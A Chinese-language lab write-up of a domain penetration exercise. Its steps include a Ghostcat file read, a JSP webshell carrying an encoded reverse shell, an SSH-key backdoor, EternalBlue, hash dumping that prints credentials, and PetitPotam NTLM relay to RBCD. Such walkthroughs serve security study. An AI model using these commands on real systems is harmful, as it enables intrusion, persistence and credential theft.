fscan64.exe -h 39.98.118.194\n\n ___ _\n \/ _ \\ ___ ___ _ __ __ _ ___| | __\n \/ \/_\\\/____\/ __|\/ __| '__\/ _` |\/ __| |\/ \/\n\/ \/_\\\\_____\\__ \\ (__| | | (_| | (__| <\n\\____\/ |___\/\\___|_| \\__,_|\\___|_|\\_\\\n fscan version: 1.8.2\nstart infoscan\n(icmp) Target 39.98.118.194 is alive\n[*] Icmp alive hosts len is: 1\n39.98.118.194:8009 open\n39.98.118.194:8080 open\n39.98.118.194:22 open\n[*] alive ports len is: 3\nstart vulscan\n[*] WebTitle: http:\/\/39.98.118.194:8080 code:200 len:7091 title:\u540e\u53f0\u7ba1\u7406\n\u5df2\u5b8c\u6210 1\/3 [-] ssh 39.98.118.194:22 admin admin123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none], no supported methods remain\n\u5df2\u5b8c\u6210 3\/3<\/code><\/pre>\n\n\n\n\u6ca1\u626b\u51fa\u6765\u4ec0\u4e48\u4e1c\u897f\uff0c\u626b\u4e00\u4e0b\u8def\u5f84<\/p>\n\n\n\n
dirsearch -u \"http:\/\/39.98.118.194:8080\" \n\n _|. _ _ _ _ _ _|_ v0.4.2 \n (_||| _) (\/_(_|| (_| ) \n \nExtensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927\n\nOutput File: \/home\/fushuling\/.dirsearch\/reports\/39.98.118.194-8080\/_23-10-13_07-40-20.txt\n\nError Log: \/home\/fushuling\/.dirsearch\/logs\/errors-23-10-13_07-40-20.log\n\nTarget: http:\/\/39.98.118.194:8080\/\n\n[07:40:20] Starting: \n[07:40:22] 302 - 0B - \/js -> \/js\/ \n[07:40:34] 200 - 114B - \/404.html \n[07:40:40] 400 - 795B - \/\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd \n[07:40:41] 400 - 795B - \/a%5c.aspx \n[07:41:14] 302 - 0B - \/css -> \/css\/ \n[07:41:15] 302 - 0B - \/data -> \/data\/ \n[07:41:17] 302 - 0B - \/docs -> \/docs\/ \n[07:41:17] 200 - 17KB - \/docs\/ \n[07:41:17] 302 - 0B - \/download -> \/download\/ \n[07:41:18] 200 - 132B - \/download\/ \n[07:41:20] 302 - 0B - \/examples -> \/examples\/ \n[07:41:20] 200 - 6KB - \/examples\/servlets\/index.html \n[07:41:20] 200 - 1KB - \/examples\/ \n[07:41:20] 200 - 658B - \/examples\/servlets\/servlet\/CookieExample\n[07:41:20] 200 - 947B - \/examples\/servlets\/servlet\/RequestHeaderExample \n[07:41:20] 200 - 682B - \/examples\/jsp\/snp\/snoop.jsp \n[07:41:26] 403 - 3KB - \/host-manager\/ \n[07:41:26] 403 - 3KB - \/host-manager\/html\n[07:41:27] 302 - 0B - \/images -> \/images\/ \n[07:41:29] 200 - 7KB - \/index.html \n[07:41:33] 302 - 0B - \/lib -> \/lib\/ \n[07:41:37] 302 - 0B - \/manager -> \/manager\/ \n[07:41:37] 403 - 3KB - \/manager\/admin.asp\n[07:41:37] 403 - 3KB - \/manager\/\n[07:41:37] 403 - 3KB - \/manager\/login \n[07:41:37] 403 - 3KB - \/manager\/status\/all\n[07:41:37] 403 - 3KB - \/manager\/jmxproxy\/?get=java.lang:type=Memory&att=HeapMemoryUsage\n[07:41:37] 403 - 3KB - \/manager\/jmxproxy\/?get=BEANNAME&att=MYATTRIBUTE&key=MYKEY\n[07:41:37] 403 - 3KB - \/manager\/jmxproxy\n[07:41:37] 403 - 3KB - \/manager\/jmxproxy\/?qry=STUFF\n[07:41:37] 403 - 3KB - \/manager\/jmxproxy\/?get=java.lang:type=Memory&att=HeapMemoryUsage&key=used \n[07:41:37] 403 - 3KB - \/manager\/html\/\n[07:41:37] 403 - 3KB - \/manager\/VERSION\n[07:41:37] 403 - 3KB - \/manager\/jmxproxy\/?set=BEANNAME&att=MYATTRIBUTE&val=NEWVALUE\n[07:41:37] 403 - 3KB - \/manager\/html\n[07:41:38] 403 - 3KB - \/manager\/login.asp \n[07:41:38] 403 - 3KB - \/manager\/jmxproxy\/?invoke=Catalina%3Atype%3DService&op=findConnectors&ps= \n[07:41:38] 403 - 3KB - \/manager\/jmxproxy\/?set=Catalina%3Atype%3DValve%2Cname%3DErrorReportValve%2Chost%3Dlocalhost&att=debug&val=cow \n[07:41:38] 403 - 3KB - \/manager\/jmxproxy\/?invoke=BEANNAME&op=METHODNAME&ps=COMMASEPARATEDPARAMETERS \n[07:42:11] 403 - 0B - \/upload\/ \n[07:42:11] 403 - 0B - \/upload \n[07:42:12] 403 - 0B - \/upload\/b_user.csv \n[07:42:12] 403 - 0B - \/upload\/loginIxje.php\n[07:42:12] 403 - 0B - \/upload\/test.txt \n[07:42:12] 403 - 0B - \/upload\/1.php\n[07:42:12] 403 - 0B - \/upload\/test.php \n[07:42:12] 403 - 0B - \/upload\/b_user.xls \n[07:42:12] 403 - 0B - \/upload\/upload.php \n[07:42:12] 403 - 0B - \/upload\/2.php \n[07:42:12] 200 - 9KB - \/user.html \n \nTask Completed <\/code><\/pre>\n\n\n\n\u770b\u4e86\u4e00\u4e0b\u662fTomcat 9.0.30\uff0c\u6709CVE-2020-1983 Tomcat\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e<\/p>\n\n\n\n![\"\"\/](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/figure>\n\n\n\nGhostcat-CNVD-2020-10487<\/a><\/p>\n\n\n\npython3 ajpShooter.py http:\/\/39.98.118.194:8080 8009 \/WEB-INF\/web.xml read\n\n _ _ __ _ _ \n \/_\\ (_)_ __ \/ _\\ |__ ___ ___ | |_ ___ _ __ \n \/\/_\\\\ | | '_ \\ \\ \\| '_ \\ \/ _ \\ \/ _ \\| __\/ _ \\ '__|\n \/ _ \\| | |_) | _\\ \\ | | | (_) | (_) | || __\/ | \n \\_\/ \\_\/\/ | .__\/ \\__\/_| |_|\\___\/ \\___\/ \\__\\___|_| \n |__\/|_| \n 00theway,just for test\n \n\n[<] 200 200\n[<] Accept-Ranges: bytes\n[<] ETag: W\/\"2489-1670857638305\"\n[<] Last-Modified: Mon, 12 Dec 2022 15:07:18 GMT\n[<] Content-Type: application\/xml\n[<] Content-Length: 2489\n\n<!DOCTYPE web-app PUBLIC\n \"-\/\/Sun Microsystems, Inc.\/\/DTD Web Application 2.3\/\/EN\"\n \"http:\/\/java.sun.com\/dtd\/web-app_2_3.dtd\" >\n\n<web-app>\n <display-name>Archetype Created Web Application<\/display-name>\n\n <security-constraint>\n <display-name>Tomcat Server Configuration Security Constraint<\/display-name>\n <web-resource-collection>\n <web-resource-name>Protected Area<\/web-resource-name>\n <url-pattern>\/upload\/*<\/url-pattern>\n <\/web-resource-collection>\n <auth-constraint>\n <role-name>admin<\/role-name>\n <\/auth-constraint>\n <\/security-constraint>\n\n <error-page>\n <error-code>404<\/error-code>\n <location>\/404.html<\/location>\n <\/error-page>\n\n <error-page>\n <error-code>403<\/error-code>\n <location>\/error.html<\/location>\n <\/error-page>\n\n <error-page>\n <exception-type>java.lang.Throwable<\/exception-type>\n <location>\/error.html<\/location>\n <\/error-page>\n\n <servlet>\n <servlet-name>HelloServlet<\/servlet-name>\n <servlet-class>com.example.HelloServlet<\/servlet-class>\n <\/servlet>\n <servlet-mapping>\n <servlet-name>HelloServlet<\/servlet-name>\n <url-pattern>\/HelloServlet<\/url-pattern>\n <\/servlet-mapping>\n\n <servlet>\n <display-name>LoginServlet<\/display-name>\n <servlet-name>LoginServlet<\/servlet-name>\n <servlet-class>com.example.LoginServlet<\/servlet-class>\n <\/servlet>\n <servlet-mapping>\n <servlet-name>LoginServlet<\/servlet-name>\n <url-pattern>\/LoginServlet<\/url-pattern>\n <\/servlet-mapping>\n\n <servlet>\n <display-name>RegisterServlet<\/display-name>\n <servlet-name>RegisterServlet<\/servlet-name>\n <servlet-class>com.example.RegisterServlet<\/servlet-class>\n <\/servlet>\n <servlet-mapping>\n <servlet-name>RegisterServlet<\/servlet-name>\n <url-pattern>\/RegisterServlet<\/url-pattern>\n <\/servlet-mapping>\n\n <servlet>\n <display-name>UploadTestServlet<\/display-name>\n <servlet-name>UploadTestServlet<\/servlet-name>\n <servlet-class>com.example.UploadTestServlet<\/servlet-class>\n <\/servlet>\n <servlet-mapping>\n <servlet-name>UploadTestServlet<\/servlet-name>\n <url-pattern>\/UploadServlet<\/url-pattern>\n <\/servlet-mapping>\n\n <servlet>\n <display-name>DownloadFileServlet<\/display-name>\n <servlet-name>DownloadFileServlet<\/servlet-name>\n <servlet-class>com.example.DownloadFileServlet<\/servlet-class>\n <\/servlet>\n <servlet-mapping>\n <servlet-name>DownloadFileServlet<\/servlet-name>\n <url-pattern>\/DownloadServlet<\/url-pattern>\n <\/servlet-mapping>\n<\/web-app><\/code><\/pre>\n\n\n\n\u770b\u5230\u6709\u4e00\u4e2aUploadServlet\u529f\u80fd\u80fd\u4e0a\u4f20\u6587\u4ef6\uff0c\u6240\u4ee5\u53ef\u4ee5\u5305\u542b\u6587\u4ef6rce<\/p>\n\n\n\n
http://39.98.115.201:8080\/UploadServlet<\/code><\/pre>\n\n\n\n\u4e0a\u4f20\u7684\u6587\u672c\u5185\u5bb9\uff1a<\/p>\n\n\n\n
<%\n java.io.InputStream in = Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgveHh4IDA+JjE=}|{base64,-d}|{bash,-i}\").getInputStream();\n int a = -1;\n byte[] b = new byte[2048];\n out.print(\"<pre>\");\n while((a=in.read(b))!=-1){\n out.println(new String(b));\n }\n out.print(\"<\/pre>\");\n%><\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n\u8fd4\u56de\u8def\u5f84<\/p>\n\n\n\n
\/upload\/449aeddf75375deb7ab4a6f4d5744b82\/20231013075441649.txt<\/code><\/pre>\n\n\n\npython3 ajpShooter.py http:\/\/39.99.243.178:8080\/ 8009 \/upload\/449aeddf75375deb7ab4a6f4d5744b82\/20231013105121244.txt eval<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n\u76f4\u63a5\u5c31\u662froot\u6743\u9650\uff0c\u6bd4\u8f83\u8212\u670d\uff0c\u5199\u516c\u94a5\u7559\u540e\u95e8\u4e86<\/p>\n\n\n\n
#\u81ea\u5df1\u7684\u673a\u5668\u4e0a\nssh-keygen -t rsa -b 4096\ncat ~\/.ssh\/id_rsa.pub\n#\u5f39\u7684shell\necho \"~\/.ssh\/id_rsa.pub\u7684\u5185\u5bb9\" > \/root\/.ssh\/authorized_keyschmod 600 \/root\/.ssh\/authorized_keys\nchmod 600 \/root\/.ssh\/authorized_keys\n\nssh -i ~\/.ssh\/id_rsa root@39.99.140.174<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n\u63a5\u4e0b\u6765\u5efa\u4ee3\u7406\u4ee5\u53ca\u626b\u5185\u7f51<\/p>\n\n\n\n
.\/fscan -h 172.22.11.76\/24\n\n ___ _ \n \/ _ \\ ___ ___ _ __ __ _ ___| | __ \n \/ \/_\\\/____\/ __|\/ __| '__\/ _` |\/ __| |\/ \/\n\/ \/_\\\\_____\\__ \\ (__| | | (_| | (__| < \n\\____\/ |___\/\\___|_| \\__,_|\\___|_|\\_\\ \n fscan version: 1.8.2\nstart infoscan\n(icmp) Target 172.22.11.6 is alive\n(icmp) Target 172.22.11.76 is alive\n(icmp) Target 172.22.11.26 is alive\n(icmp) Target 172.22.11.45 is alive\n[*] Icmp alive hosts len is: 4\n172.22.11.76:8009 open\n172.22.11.6:88 open\n172.22.11.76:8080 open\n172.22.11.26:445 open\n172.22.11.45:445 open\n172.22.11.6:445 open\n172.22.11.45:139 open\n172.22.11.26:139 open\n172.22.11.6:139 open\n172.22.11.45:135 open\n172.22.11.26:135 open\n172.22.11.6:135 open\n172.22.11.26:7680 open\n172.22.11.76:22 open\n[*] alive ports len is: 14\nstart vulscan\n[*] NetBios: 172.22.11.26 XIAORANG\\XR-LCM3AE8B \n[*] NetInfo:\n[*]172.22.11.6\n [->]XIAORANG-DC\n [->]172.22.11.6\n[*] NetBios: 172.22.11.6 [+]DC XIAORANG\\XIAORANG-DC \n[+] 172.22.11.45\tMS17-010\t(Windows Server 2008 R2 Enterprise 7601 Service Pack 1)\n[*] NetBios: 172.22.11.45 XR-DESKTOP.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service Pack 1 \n[*] NetInfo:\n[*]172.22.11.26\n [->]XR-LCM3AE8B\n [->]172.22.11.26\n[*] WebTitle: http:\/\/172.22.11.76:8080 code:200 len:7091 title:\u540e\u53f0\u7ba1\u7406<\/code><\/pre>\n\n\n\n172.22.11.6 XIAORANG-DC \n172.22.11.76 \u672c\u673a\n172.22.11.26 XR-LCM3AE8B\n172.22.11.45 XR-DESKTOP.xiaorang.lab MS17-010<\/code><\/pre>\n\n\n\n\u5148\u6253\u8fd9\u4e2aMS17-010<\/p>\n\n\n\n
proxychains msfconsole\nuse exploit\/windows\/smb\/ms17_010_eternalblue\nset payload windows\/x64\/meterpreter\/bind_tcp_uuid\nset RHOSTS 172.22.11.45\nexploit<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n\u6293\u54c8\u5e0c<\/p>\n\n\n\n
load kiwi\ncreds_all<\/code><\/pre>\n\n\n\nUsername Domain NTLM SHA1\n-------- ------ ---- ----\nXR-DESKTOP$ XIAORANG 6f558f06e563b300dc9f5884aca659f3 b42d0506e650855553fa8c30f9c7f71dfa0e2d3c\n \nyangmei XIAORANG 25e42ef4cc0ab6a8ff9e3edbbda91841 6b2838f81b57faed5d860adaf9401b0edb269a6f\n ... \nyangmei XIAORANG.LAB xrihGHgoNZQ<\/code><\/pre>\n\n\n\n\u867d\u7136\u672c\u5730\u6709crackmapexec\uff0c\u4f46\u662f\u5361\u7684\u6279\u7206\uff0c\u53bb\u4e0b\u4e86\u4e2acme\u7684\u53ef\u6267\u884c\u6587\u4ef6 CME<\/a>\uff0c\u626b\u4e00\u4e0bWebClient\u548cpetitpotam<\/p>\n\n\n\nproxychains .\/cme smb 172.22.11.0\/24 -u yangmei -p xrihGHgoNZQ -M webdav\nproxychains .\/cme smb 172.22.11.0\/24 -u yangmei -p xrihGHgoNZQ -M petitpotam<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n\u786e\u5b9e\u6709Petitpotam\uff0c\u6309\u9898\u76ee\u91cc\u7684\u63d0\u793a\u5e94\u8be5\u662f\u8981\u6253NTLM Relay via WebDAV<\/a>+Petitpotam\u7684Coerce Authentication\uff0c\u53c8\u53bb\u7ffb\u4e86\u4e00\u4e0b\u7ea2\u961f\u57df\u6e17\u900fNTLM Relay\uff1a\u5f3a\u5236\u8ba4\u8bc1\u65b9\u5f0f\u603b\u7ed3<\/a>\uff0c\u5927\u6982\u610f\u601d\u5c31\u662f\u6211\u4eec\u53ef\u4ee5\u7528Petitpotam\u5f3a\u5236\u76ee\u6807\u670d\u52a1\u5668\u3001\u76ee\u6807\u7528\u6237\u4f7f\u7528LM Hash\u3001NTLM Hash\u5bf9\u6211\u4eec\u7684\u670d\u52a1\u5668\u8fdb\u884c\u8ba4\u8bc1\uff0c\u7136\u540e\u6211\u4eec\u53ef\u4ee5\u5c06\u8be5\u8ba4\u8bc1\u4e2d\u7ee7\u81f3\u5176\u4ed6\u76ee\u6807\u670d\u52a1\u5668\u4e2d\u4ee5\u8fbe\u5230\u6a2a\u5411\u3001\u63d0\u6743\u7b49\u7684\u76ee\u7684\uff0c\u8fd9\u91cc\u53ea\u6709172.22.11.26\u6709Petitpotam\u3002\u901a\u8fc7WebDav\u8fdb\u884cNTLM Relay\u7684\u597d\u5904\u5728\u4e8e\u53ef\u4ee5\u4e0d\u53d7\u5230\u534f\u8bae\u7b7e\u540d\u7684\u5f71\u54cd\uff0c\u5bf9\u672c\u5730\u5185\u90e8\u7f51\u6216\u53d7\u4fe1\u4efb\u7684\u7ad9\u70b9\u81ea\u52a8\u4f7f\u7528\u5f53\u524d\u7528\u6237\u51ed\u636e\u8fdb\u884cNTLM\u8ba4\u8bc1\u3002<\/p>\n\n\n\n\u8fd9\u91cc\u770b\u7684\u6625\u79cb\u4e91\u955c-\u3010\u4eff\u771f\u573a\u666f\u3011Spoofing writeup<\/a>\uff0c\u4f7f\u7528\u65e0ADCS + Petitpotam + ntlm\u4e2d\u7ee7\u6253\u6cd5\uff0c\u601d\u8def\u662f\u7528petitpotam\u89e6\u53d1\u5b58\u5728\u6f0f\u6d1e\u4e14\u5f00\u542f\u4e86webclient\u670d\u52a1\u7684\u76ee\u6807\uff0c\u5229\u7528petitpotam\u89e6\u53d1\u76ee\u6807\u8bbf\u95ee\u6211\u4eec\u7684http\u4e2d\u7ee7\u670d\u52a1\uff0c\u76ee\u6807\u5c06\u4f1a\u4f7f\u7528webclient\u643a\u5e26ntlm\u8ba4\u8bc1\u8bbf\u95ee\u6211\u4eec\u7684\u4e2d\u7ee7\uff0c\u5e76\u4e14\u5c06\u5176\u8ba4\u8bc1\u4e2d\u7ee7\u5230ldap\uff0c\u83b7\u53d6\u5230\u673a\u5668\u8d26\u6237\u7684\u8eab\u4efd\uff0c\u4ee5\u673a\u5668\u8d26\u6237\u7684\u8eab\u4efd\u4fee\u6539\u5176\u81ea\u8eab\u7684msDS-AllowedToActOnBehalfOfOtherIdentity\u5c5e\u6027\uff0c\u914d\u7f6e\u5230XR-LCM3AE8B.xiaorang.lab\u7684RBCD\u3002<\/p>\n\n\n\n\u4f46\u8fd9\u91cc\u6709\u4e2a\u6761\u4ef6\uff0c\u9700\u8981\u6211\u4eec\u628a\u670d\u52a1\u5668\u7aef\u53e3\u7684\u6d41\u91cf\u8f6c\u53d1\u5230\u5ba2\u6237\u7aef\u672c\u5730\u768480\uff0c\u4f46SSH\u7684\u53cd\u5411\u7aef\u53e3\u8f6c\u53d1\u76d1\u542c\u7684\u65f6\u5019\u53ea\u4f1a\u76d1\u542c127.0.0.1\uff0c\u8fd9\u91cc\u6211\u4eec\u8ba9\u6d41\u91cf 0.0.0.0:80 \u8f6c\u53d1\u5230 127.0.0.1:79\uff0c\u518d\u53cd\u5411\u8f6c\u53d1\u56de\u5ba2\u6237\u7aef\u672c\u5730\u768480 ,\u53d8\u76f8\u4f7f80\u76d1\u542c\u57280.0.0.0<\/p>\n\n\n\n
ssh -i ~\/.ssh\/id_rsa root@39.98.115.201 -D SOCKS\u4ee3\u7406IP:PORT -R \\*:79:127.0.0.1:80\nnohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u6d41\u91cf\u5df2\u7ecf\u6210\u529f\u8f6c\u53d1\uff0ccurl 172.22.11.76\u7684\u6d41\u91cf\u8f6c\u53d1\u5230\u4e86\u6211\u4eec\u672c\u5730kali<\/p>\n\n\n\n
nc -lvvp 80\nproxychains curl http:\/\/172.22.11.76:80<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n\u63a5\u7740\u672c\u5730\u5f00\u542f\u5f00\u542fntlmrelayx\uff0c\u5229\u7528\u524d\u9762\u62ff\u4e0b\u7684XR-Desktop\u4f5c\u4e3a\u6076\u610f\u673a\u5668\u8d26\u6237\u8bbe\u7f6eRBCD\uff0c\u63a5\u7740\u4f7f\u7528Petitpotam<\/a>\u89e6\u53d1XR-LCM3AE8B\u8ba4\u8bc1\u5230172.22.11.76<\/p>\n\n\n\nproxychains python3 ntlmrelayx.py -t ldap:\/\/172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access\nproxychains python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80\/pwn.txt 172.22.11.26<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n\u914d\u597d\u540e\u76f4\u63a5\u7528\u4e4b\u524d172.22.11.45\u4e0a\u6293\u7684\u673a\u5668\u8d26\u6237XR-DESKTOP$\u54c8\u5e0c\u6253172.22.11.26\u7684RBCD<\/p>\n\n\n\n
proxychains impacket-getST -spn cifs\/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :6f558f06e563b300dc9f5884aca659f3 xiaorang.lab\/XR-Desktop\\$ -dc-ip 172.22.11.6\nexport KRB5CCNAME=administrator.ccache\nsudo vim \/etc\/hosts#\u628aXR-LCM3AE8B.xiaorang.lab\u7684ip\u52a0\u5230hosts\u91cc<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n\u6700\u540e\u5373\u53ef\u65e0\u5bc6\u7801\u8fde\u63a5<\/p>\n\n\n\n
proxychains python3 psexec.py xiaorang.lab\/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 -codec gbk<\/code><\/pre>\n\n\n\n<\/div><\/figure>\n\n\n\n\u52a0\u7ba1\u7406\u5458\u8d26\u6237\uff0crdp\u4e0a\u53bb\uff0c\u7528\u7315\u7334\u6843\u53ef\u4ee5\u6293\u5230\u4e00\u4e2azhanghui\u7528\u6237\u7684\u54c8\u5e0c1232126b24cdf8c9bd2f788a9d7c7ed1\uff0c\u4ed6\u5728MA_Admin\u7ec4\uff0c\u5bf9computer\u80fd\u591f\u521b\u5efa\u5bf9\u8c61\uff0c\u80fd\u5411\u57df\u4e2d\u6dfb\u52a0\u673a\u5668\u8d26\u6237\uff0c\u6240\u4ee5\u80fd\u6253noPac<\/p>\n\n\n\n
![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023%2F10%2F1-19-1024x508.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/10\/3-4-1024x519.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023%2F10%2F4-4-1024x351.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/10\/5-4.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/10\/6-4.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/10\/8-4.png\")
<\/div><\/figure>\n\n\n\n![\"\"](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023%2F10%2F13-2-1.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/10\/9-4-1024x211.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/10\/10-4-1024x390.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/10\/14-3.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/10\/15-2.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/10\/7-4.png\")
<\/div><\/figure>\n\n\n\n![\"\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/10\/1-20-1024x530.png\")
<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"